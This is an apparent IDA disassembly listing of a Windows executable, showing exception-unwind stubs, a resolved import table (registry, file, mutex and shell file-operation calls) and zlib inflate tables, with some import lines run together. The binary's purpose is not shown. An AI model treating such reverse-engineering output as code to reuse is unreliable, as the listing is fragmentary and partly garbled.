retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
call sub_408020
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 10h
call sub_411512
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 14h
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
call sub_411512
retn
; =============== S U B R O U T I N E =======================================
SEH_40671B proc near ; DATA XREF: sub_40671B+5o
mov eax, offset dword_415770
jmp sub_41156C
SEH_40671B endp
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
call sub_408020
retn
; ---------------------------------------------------------------------------
loc_4122B4: ; DATA XREF: HSho:004157F4o
mov ecx, [ebp-10h]
add ecx, 10h
call sub_411512
retn
; =============== S U B R O U T I N E =======================================
SEH_4068AF proc near ; DATA XREF: sub_4068AF+5o
mov eax, offset dword_4157C8
jmp sub_41156C
SEH_4068AF endp
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
call sub_411512
retn
; =============== S U B R O U T I N E =======================================
SEH_406909 proc near ; DATA XREF: sub_406909+5o
mov eax, offset dword_4157F8
jmp sub_41156C
SEH_406909 endp
; ---------------------------------------------------------------------------
lea ecx, [ebp+8]
call sub_411512
retn
; =============== S U B R O U T I N E =======================================
SEH_406BA8 proc near ; DATA XREF: sub_406BA8+5o
mov eax, offset dword_415820
jmp sub_41156C
SEH_406BA8 endp
; ---------------------------------------------------------------------------
mov ecx, [ebp-30h]
call sub_408020
retn
; ---------------------------------------------------------------------------
loc_4122F9: ; DATA XREF: HSho:00406C4Do
mov eax, offset dword_415848
jmp sub_41156C
; ---------------------------------------------------------------------------
lea ecx, [ebp+8]
call sub_411512
retn
; ---------------------------------------------------------------------------
loc_41230C: ; DATA XREF: HSho:0041589Co
mov ecx, [ebp-38h]
call sub_408020
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
call sub_411512
retn
; ---------------------------------------------------------------------------
loc_412327: ; DATA XREF: HSho:00406D2Do
mov eax, offset dword_415870
jmp sub_41156C
; ---------------------------------------------------------------------------
mov ecx, [ebp-20h]
call sub_408020
retn
; ---------------------------------------------------------------------------
loc_41233A: ; DATA XREF: HSho:004071B4o
mov eax, offset dword_4158B0
jmp sub_41156C
; ---------------------------------------------------------------------------
lea ecx, [ebp+8]
call sub_411512
retn
; ---------------------------------------------------------------------------
loc_41234D: ; DATA XREF: HSho:00415904o
mov ecx, [ebp-28h]
call sub_408020
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-1Ch]
call sub_411512
retn
; ---------------------------------------------------------------------------
loc_412368: ; DATA XREF: HSho:00407270o
mov eax, offset dword_4158D8
jmp sub_41156C
; ---------------------------------------------------------------------------
mov ecx, [ebp-18h]
call sub_408290
retn
; ---------------------------------------------------------------------------
loc_41237B: ; DATA XREF: HSho:00415944o
mov ecx, [ebp-18h]
add ecx, 28h
call dword_413168
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-18h]
add ecx, 38h
call dword_413168
retn
; ---------------------------------------------------------------------------
loc_412395: ; DATA XREF: HSho:0040768Ao
mov eax, offset dword_415918
jmp sub_41156C
; ---------------------------------------------------------------------------
lea ecx, [ebp+18h]
call dword_413168
retn
; ---------------------------------------------------------------------------
loc_4123A9: ; DATA XREF: HSho:0041597Co
lea ecx, [ebp+8]
call dword_413168
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-4Ch]
call sub_408290
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-4Ch]
add ecx, 28h
call dword_413168
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-4Ch]
add ecx, 38h
call dword_413168
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
call dword_413168
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-38h]
call dword_413168
retn
; ---------------------------------------------------------------------------
loc_4123EA: ; DATA XREF: HSho:00407747o
mov eax, offset dword_415950
jmp sub_41156C
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
call sub_408290
retn
; ---------------------------------------------------------------------------
loc_4123FD: ; DATA XREF: HSho:004159D4o
mov ecx, [ebp-10h]
add ecx, 28h
call dword_413168
retn
; ---------------------------------------------------------------------------
loc_41240A: ; DATA XREF: HSho:004078BCo
mov eax, offset dword_4159A8
jmp sub_41156C
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
call dword_413168
retn
; ---------------------------------------------------------------------------
loc_41241E: ; DATA XREF: HSho:00407B16o
mov eax, offset dword_4159D8
jmp sub_41156C
; ---------------------------------------------------------------------------
lea ecx, [ebp+8]
call dword_413168
retn
; ---------------------------------------------------------------------------
loc_412432: ; DATA XREF: HSho:00407BFAo
mov eax, offset dword_415A00
jmp sub_41156C
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
call sub_408290
retn
; ---------------------------------------------------------------------------
loc_412445: ; DATA XREF: HSho:00407CA1o
mov eax, offset dword_415A28
jmp sub_41156C
; ---------------------------------------------------------------------------
lea ecx, [ebp+8]
call dword_413168
retn
; ---------------------------------------------------------------------------
loc_412459: ; DATA XREF: HSho:00415A7Co
mov ecx, [ebp-34h]
call sub_408290
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
call dword_413168
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-30h]
call dword_413168
retn
; ---------------------------------------------------------------------------
loc_412476: ; DATA XREF: HSho:00407D26o
mov eax, offset dword_415A50
jmp sub_41156C
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8
call sub_411512
retn
; =============== S U B R O U T I N E =======================================
SEH_407FC0 proc near ; DATA XREF: sub_407FC0+5o
mov eax, offset dword_415A90
jmp sub_41156C
SEH_407FC0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
add ecx, 8
call sub_411512
retn
; =============== S U B R O U T I N E =======================================
SEH_408020 proc near ; DATA XREF: sub_408020+5o
mov eax, offset dword_415AB8
jmp sub_41156C
SEH_408020 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-18h]
add ecx, 8
call dword_413168
retn
; =============== S U B R O U T I N E =======================================
SEH_408230 proc near ; DATA XREF: sub_408230+5o
mov eax, offset dword_415AE0
jmp sub_41156C
SEH_408230 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
add ecx, 8
call dword_413168
retn
; =============== S U B R O U T I N E =======================================
SEH_408290 proc near ; DATA XREF: sub_408290+5o
mov eax, offset dword_415B08
jmp sub_41156C
SEH_408290 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
add ecx, 4
call sub_411512
retn
; ---------------------------------------------------------------------------
loc_41250C: ; DATA XREF: HSho:00415B5Co
mov ecx, [ebp-10h]
add ecx, 8
call sub_402BB1
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 203Ch
call sub_411512
retn
; =============== S U B R O U T I N E =======================================
SEH_409540 proc near ; DATA XREF: sub_409540+5o
mov eax, offset dword_415B30
jmp sub_41156C
SEH_409540 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
add ecx, 4
call sub_411512
retn
; ---------------------------------------------------------------------------
loc_41254C: ; DATA XREF: HSho:00415B94o
mov ecx, [ebp-10h]
add ecx, 8
call sub_402BB1
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 203Ch
call sub_411512
retn
; =============== S U B R O U T I N E =======================================
SEH_4095C0 proc near ; DATA XREF: sub_4095C0+5o
mov eax, offset dword_415B68
jmp sub_41156C
SEH_4095C0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-1Ch]
call sub_4041A5
retn
; ---------------------------------------------------------------------------
loc_412589: ; DATA XREF: HSho:00415BCCo
lea ecx, [ebp-18h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27BCh]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27C0h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27C8h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27CCh]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27D0h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27D4h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27D8h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27DCh]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27E0h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27E4h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27E8h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27ECh]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27F0h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27F4h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27F8h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27FCh]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-2800h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-2808h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-1F9Ch]
call sub_409BB0
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-34h]
call sub_409990
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-2814h]
call sub_4041A5
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27B0h]
call sub_406293
retn
; =============== S U B R O U T I N E =======================================
SEH_40831F proc near ; DATA XREF: sub_40831F+5o
mov eax, offset dword_415BA0
jmp sub_41156C
SEH_40831F endp
; ---------------------------------------------------------------------------
lea ecx, [ebp-4014h]
call sub_411512
retn
; ---------------------------------------------------------------------------
loc_4126BF: ; DATA XREF: HSho:00415CBCo
lea ecx, [ebp-8024h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-8028h]
call sub_411512
retn
; ---------------------------------------------------------------------------
loc_4126D7: ; DATA XREF: HSho:00415CCCo
lea ecx, [ebp-802Ch]
call sub_411512
retn
; ---------------------------------------------------------------------------
loc_4126E3: ; DATA XREF: HSho:00415CD4o
lea ecx, [ebp-8030h]
call sub_411512
retn
; ---------------------------------------------------------------------------
loc_4126EF: ; DATA XREF: HSho:00415CDCo
lea ecx, [ebp-8034h]
call sub_411512
retn
; ---------------------------------------------------------------------------
loc_4126FB: ; DATA XREF: HSho:00415CE4o
lea ecx, [ebp-8038h]
call sub_411512
retn
; ---------------------------------------------------------------------------
loc_412707: ; DATA XREF: HSho:00415CECo
lea ecx, [ebp-803Ch]
call sub_411512
retn
; =============== S U B R O U T I N E =======================================
SEH_408D9F proc near ; DATA XREF: sub_408D9F+5o
mov eax, offset dword_415C90
jmp sub_41156C
SEH_408D9F endp
; =============== S U B R O U T I N E =======================================
SEH_4091F5 proc near ; DATA XREF: sub_4091F5+5o
mov eax, offset dword_415CF0
jmp sub_41156C
SEH_4091F5 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-14h]
push eax
call sub_4114EE
pop ecx
retn
; =============== S U B R O U T I N E =======================================
SEH_409670 proc near ; DATA XREF: sub_409670+5o
mov eax, offset dword_415D48
jmp sub_41156C
SEH_409670 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-1Ch]
call sub_409990
retn
; =============== S U B R O U T I N E =======================================
SEH_4097F0 proc near ; DATA XREF: sub_4097F0+5o
mov eax, offset dword_415D70
jmp sub_41156C
SEH_4097F0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+8]
call sub_4041A5
retn
; =============== S U B R O U T I N E =======================================
SEH_409AF0 proc near ; DATA XREF: sub_409AF0+5o
mov eax, offset dword_415D98
jmp sub_41156C
SEH_409AF0 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-1Ch]
push eax
call sub_4114EE
pop ecx
retn
; =============== S U B R O U T I N E =======================================
SEH_410FDB proc near ; DATA XREF: sub_410FDB+5o
mov eax, offset dword_415DC0
jmp sub_41156C
SEH_410FDB endp
; ---------------------------------------------------------------------------
align 4
dd 216h dup(0)
dword_413000 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_4064D9+8Er ...
dword_413004 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_406909+45r ...
dword_413008 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_406AB3+74r ...
dword_41300C dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_406AB3+36r ...
dword_413010 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_406909+79r ...
align 8
dword_413018 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; HSho:00401665r ...
dword_41301C dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_40146A+12Ar ...
dword_413020 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; HSho:004017F5r ...
dword_413024 dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_413028 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_40146A+99r ...
dword_41302C dd 7C834FFEh ; resolved to->KERNEL32.GetCurrentDirectoryA ; HSho:0040212Br ...
dword_413030 dd 7C8217ACh ; resolved to->KERNEL32.CreateDirectoryA ; sub_4106AB+FDr
dword_413034 dd 7C85B219h ; resolved to->KERNEL32.RemoveDirectoryAdword_413038 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesAdword_41303C dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesAdword_413040 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFiledword_413044 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_413048 dd 7C8360DDh ; resolved to->KERNEL32.SetCurrentDirectoryA ; sub_404A2D+18r
dword_41304C dd 7C80FC2Fh ; resolved to->KERNEL32.GlobalFree ; sub_4027A4+36r ...
dword_413050 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_4107B2+445r
dword_413054 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; sub_406208+6Cr
dword_413058 dd 7C8123B9h ; resolved to->KERNEL32.GlobalReAllocdword_41305C dd 7C80FD2Dh ; resolved to->KERNEL32.GlobalAllocdword_413060 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_4027A4+82r ...
dword_413064 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiBytedword_413068 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChardword_41306C dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFiledword_413070 dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingAdword_413074 dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; sub_402C48+28r ...
dword_413078 dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Error ; sub_401C92+71r ...
dword_41307C dd 7C80EDD7h ; resolved to->KERNEL32.FindClose ; sub_4021DB+98r ...
dword_413080 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileAdword_413084 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoAdword_413088 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_41308C dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_413090 dd 7C83214Eh ; resolved to->KERNEL32.DosDateTimeToFileTimedword_413094 dd 7C810B1Ch ; resolved to->KERNEL32.SystemTimeToFileTimedword_413098 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_40E2F9+6Dr
dword_41309C dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandledword_4130A0 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_40FE9E+59r ...
dword_4130A4 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_40E4EF+27r ...
dword_4130A8 dd 7C80992Fh ; resolved to->KERNEL32.LocalFreedword_4130AC dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrementdword_4130B0 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_4130B4 dd 7C821BA5h ; resolved to->KERNEL32.GetVolumeInformationAdword_4130B8 dd 7C80BF3Dh ; resolved to->KERNEL32.GetSystemDefaultLCIDdword_4130BC dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_404B40+491r ...
dword_4130C0 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_4130C4 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrementdword_4130C8 dd 7C810111h ; resolved to->KERNEL32.lstrcpynA ; sub_40831F+5F5r
dword_4130CC dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_402F1E+Cr ...
dword_4130D0 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_4130D4 dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryA ; sub_404B40+DEr
dword_4130D8 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_4130DC dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_406208+1Ar
dword_4130E0 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_402A1E+BCr ...
align 8
dword_4130E8 dd 73E267E1h dword_4130EC dd 73E266E6h dword_4130F0 dd 73E263DEh dword_4130F4 dd 73DD6672h dword_4130F8 dd 73E2D6BFh dword_4130FC dd 73DD493Dh dword_413100 dd 73DD27B2h dword_413104 dd 73DD418Ch dword_413108 dd 73DD2831h dword_41310C dd 73E2654Dh dword_413110 dd 73E26465h dword_413114 dd 73DEBD63h dword_413118 dd 73DD47A8h dword_41311C dd 73DD265Ch dword_413120 dd 73DD496Bh dword_413124 dd 73DD2709h dword_413128 dd 73DD41F5h dword_41312C dd 73DD4391h dword_413130 dd 73E2C2B3h dword_413134 dd 73DD433Ah dword_413138 dd 73DD4123h align 10h
dword_413140 dd 321F3Eh ; HSho:00401419r
dword_413144 dd 324A51h ; HSho:004013CEr
dword_413148 dd 321888h ; HSho:004013E0r
dword_41314C dd 325384h ; HSho:00401426r
dword_413150 dd 321E51h ; HSho:00411A87r
dword_413154 dd 323B9Ah dword_413158 dd 321204h dword_41315C dd 3238E0h dword_413160 dd 321891h align 8
dword_413168 dd 7608F485h ; HSho:0040786Cr ...
dword_41316C dd 7608F470h ; HSho:004076D0r ...
dword_413170 dd 7609F0F5h ; HSho:00407842r ...
dword_413174 dd 76085B0Ch ; HSho:00407D8Er
dword_413178 dd 760AC190h ; HSho:0040782Br ...
dword_41317C dd 760A06A9h ; HSho:00407818r ...
dword_413180 dd 7609F015h ; sub_407913+12Cr ...
dword_413184 dd 76081F8Bh dword_413188 dd 7608B84Ch ; sub_407913+58r ...
dword_41318C dd 76085828h dword_413190 dd 76090F65h dword_413194 dd 76097647h ; HSho:004076F6r ...
dd 0
dword_41319C dd 77C47A90h ; resolved to->MSVCRT.strncpy ; HSho:00410FC2r
dword_4131A0 dd 77C1BE7Bh ; resolved to->MSVCRT.atoldword_4131A4 dd 77C4AEA3h ; resolved to->MSVCRT.time ; sub_40543F+AAr ...
dword_4131A8 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_405E1F+2EAr
dword_4131AC dd 77C464BFh ; resolved to->MSVCRT._strnicmp ; sub_405B91+1EDr ...
dword_4131B0 dd 77C46125h ; resolved to->MSVCRT._strdupdword_4131B4 dd 77C32D22h ; resolved to->MSVCRT._mbsuprdword_4131B8 dd 77C46040h ; resolved to->MSVCRT.strcatdword_4131BC dd 77C22738h ; resolved to->MSVCRT._EH_prologdword_4131C0 dd 77C46F70h ; resolved to->MSVCRT.memcpydword_4131C4 dd 77C3F010h ; resolved to->MSVCRT.fopendword_4131C8 dd 77C2C407h ; resolved to->MSVCRT.malloc ; sub_40831F+8B6r ...
dword_4131CC dd 77C47C60h ; resolved to->MSVCRT.strstrdword_4131D0 dd 77C40AB1h ; resolved to->MSVCRT.fclosedword_4131D4 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_403287+110r ...
dword_4131D8 dd 77C41574h ; resolved to->MSVCRT.ftell ; sub_4024B5+2Er
dword_4131DC dd 77C227FAh ; resolved to->MSVCRT.__CxxFrameHandlerdword_4131E0 dd 77C226F6h ; resolved to->MSVCRT._CxxThrowExceptiondword_4131E4 dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_402F1E+52r ...
dword_4131E8 dd 77C47FCCh ; resolved to->MSVCRT.wcslendword_4131EC dd 77C31881h ; resolved to->MSVCRT._mbscmp ; sub_40592B+D7r ...
dword_4131F0 dd 77C4139Ch ; resolved to->MSVCRT.fseek ; sub_4024B5+44r
dword_4131F4 dd 77C1CAD7h ; resolved to->MSVCRT.toupper ; sub_40239F+6Dr ...
dword_4131F8 dd 77C478A0h ; resolved to->MSVCRT.strlendword_4131FC dd 77C46030h ; resolved to->MSVCRT.strcpydword_413200 dd 77C31FBDh ; resolved to->MSVCRT._mbsnbcpydword_413204 dd 77C475F0h ; resolved to->MSVCRT.memsetdword_413208 dd 77C2C0C3h ; resolved to->MSVCRT.callocdword_41320C dd 77C47730h ; resolved to->MSVCRT.strcmpdword_413210 dd 77C4AA2Dh ; resolved to->MSVCRT.gmtimedword_413214 dd 77C32BB0h ; resolved to->MSVCRT._mbsstrdword_413218 dd 77C21868h dword_41321C dd 77C34E51h ; resolved to->MSVCRT.__dllonexitdword_413220 dd 77C34DF8h ; resolved to->MSVCRT._onexitdword_413224 dd 77C39E9Ah ; resolved to->MSVCRT._exitdword_413228 dd 77C32DAEh ; resolved to->MSVCRT._XcptFilterdword_41322C dd 77C39E7Eh ; resolved to->MSVCRT.exitdword_413230 dd 77C1EEEBh ; resolved to->MSVCRT.__getmainargsdword_413234 dd 77C617ACh ; resolved to->MSVCRT._acmdlndword_413238 dd 77C39D67h ; resolved to->MSVCRT._inittermdword_41323C dd 77C4D675h ; resolved to->MSVCRT.__setusermatherrdword_413240 dd 77C623D8h ; resolved to->MSVCRT._adjust_fdivdword_413244 dd 77C1F1A4h ; resolved to->MSVCRT.__p__commodedword_413248 dd 77C1F1DBh ; resolved to->MSVCRT.__p__fmodedword_41324C dd 77C3537Ch ; resolved to->MSVCRT.__set_app_typedword_413250 dd 77C35C94h ; resolved to->MSVCRT._except_handler3dword_413254 dd 77C411FBh ; resolved to->MSVCRT.freaddword_413258 dd 77C4EE2Fh ; resolved to->MSVCRT._controlfp align 10h
dword_413260 dd 77126BFFh dword_413264 dd 77124920h ; sub_409990+Br ...
dword_413268 dd 77124980h dword_41326C dd 77124CFAh dword_413270 dd 77124C98h dword_413274 dd 77124880h ; sub_40831F+696r ...
dword_413278 dd 77124C7Eh ; sub_4097A0+17r
dword_41327C dd 7712A63Fh dword_413280 dd 77124C05h align 8
dword_413288 dd 7CA70964h ; resolved to->SHELL32.SHFileOperationA ; sub_401C92+BBr ...
align 10h
dword_413290 dd 7E41C66Eh ; resolved to->USER32.CopyRectdword_413294 dd 7E41C4A9h ; resolved to->USER32.EqualRectdword_413298 dd 7E418D2Bh ; resolved to->USER32.CharUpperAdword_41329C dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_404B40+12Br ...
dd 0
dword_4132A4 dd 774FEE36h dword_4132A8 dd 775561BAh dword_4132AC dd 774FFAC3h ; sub_409C00+93r
dword_4132B0 dd 77502A37h ; sub_4091F5+E5r
align 8
byte_4132B8 db 90h ; DATA XREF: sub_40831F+6F9o
db 0BFh, 33h, 29h
dd 11D27B36h, 0C0000EB2h, 603E984Fh
off_4132C8 dd offset sub_4019B0 ; DATA XREF: sub_401000+14o
; sub_401021+Ao
off_4132CC dd offset sub_4029F0 ; DATA XREF: sub_4026B0+Ao
; sub_4026C7+Ao ...
off_4132D0 dd offset aNeedDictiona_0 ; DATA XREF: HSho:0040D99Cr
; "need dictionary"
dd offset aStreamEnd ; "stream end"
dd offset dword_41BCD8
dd offset aFileError ; "file error"
dd offset aStreamError ; "stream error"
dd offset aDataError ; "data error"
dd offset aInsufficientMe ; "insufficient memory"
dd offset aBufferError ; "buffer error"
dd offset aIncompatibleVe ; "incompatible version"
dd offset dword_41BCDC
dword_4132F8 dd 0 ; sub_40A04E+464r ...
dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh, 0FFh, 1FFh, 3FFh, 7FFh
dd 0FFFh, 1FFFh, 3FFFh, 7FFFh, 0FFFFh, 0
dword_413340 dd 760h, 100h, 800h, 50h, 800h, 10h, 854h, 73h, 752h, 1Fh
; DATA XREF: sub_40CE2B+18o
dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah, 800h, 60h
dd 800h, 20h, 900h, 0A0h, 800h, 0
dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h
dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h
dd 900h, 0D0h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B0h
dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F0h, 750h, 4
dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h
dd 800h, 34h, 900h, 0C8h, 751h, 0Dh, 800h, 64h, 800h, 24h
dd 900h, 0A8h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E8h
dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 98h, 754h, 53h
dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h, 800h, 6Ch
dd 800h, 2Ch, 900h, 0B8h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch
dd 900h, 0F8h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h
dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h, 751h, 0Bh
dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h
dd 800h, 42h, 900h, 0E4h, 750h, 7, 800h, 5Ah, 800h, 1Ah
dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h
dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h, 800h, 0Ah
dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h
dd 800h, 16h, 8C0h, 0
dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh, 751h, 0Fh
dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h
dd 800h, 46h, 900h, 0ECh, 750h, 9, 800h, 5Eh, 800h, 1Eh
dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh
dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh, 800h, 0Eh
dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h
dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
dd 31h, 900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h
dd 0A2h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E2h, 750h
dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h
dd 79h, 800h, 39h, 900h, 0D2h, 751h, 11h, 800h, 69h, 800h
dd 29h, 900h, 0B2h, 800h, 9, 800h, 89h, 800h, 49h, 900h
dd 0F2h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h
dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CAh, 751h, 0Dh, 800h
dd 65h, 800h, 25h, 900h, 0AAh, 800h, 5, 800h, 85h, 800h
dd 45h, 900h, 0EAh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h
dd 9Ah, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h
dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h, 0Dh, 800h
dd 8Dh, 800h, 4Dh, 900h, 0FAh, 750h, 3, 800h, 53h, 800h
dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h
dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A6h, 800h
dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h, 750h, 7, 800h
dd 5Bh, 800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h
dd 3Bh, 900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h
dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F6h, 750h
dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh, 751h, 0Fh
dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h
dd 800h, 47h, 900h, 0EEh, 750h, 9, 800h, 5Fh, 800h, 1Fh
dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh
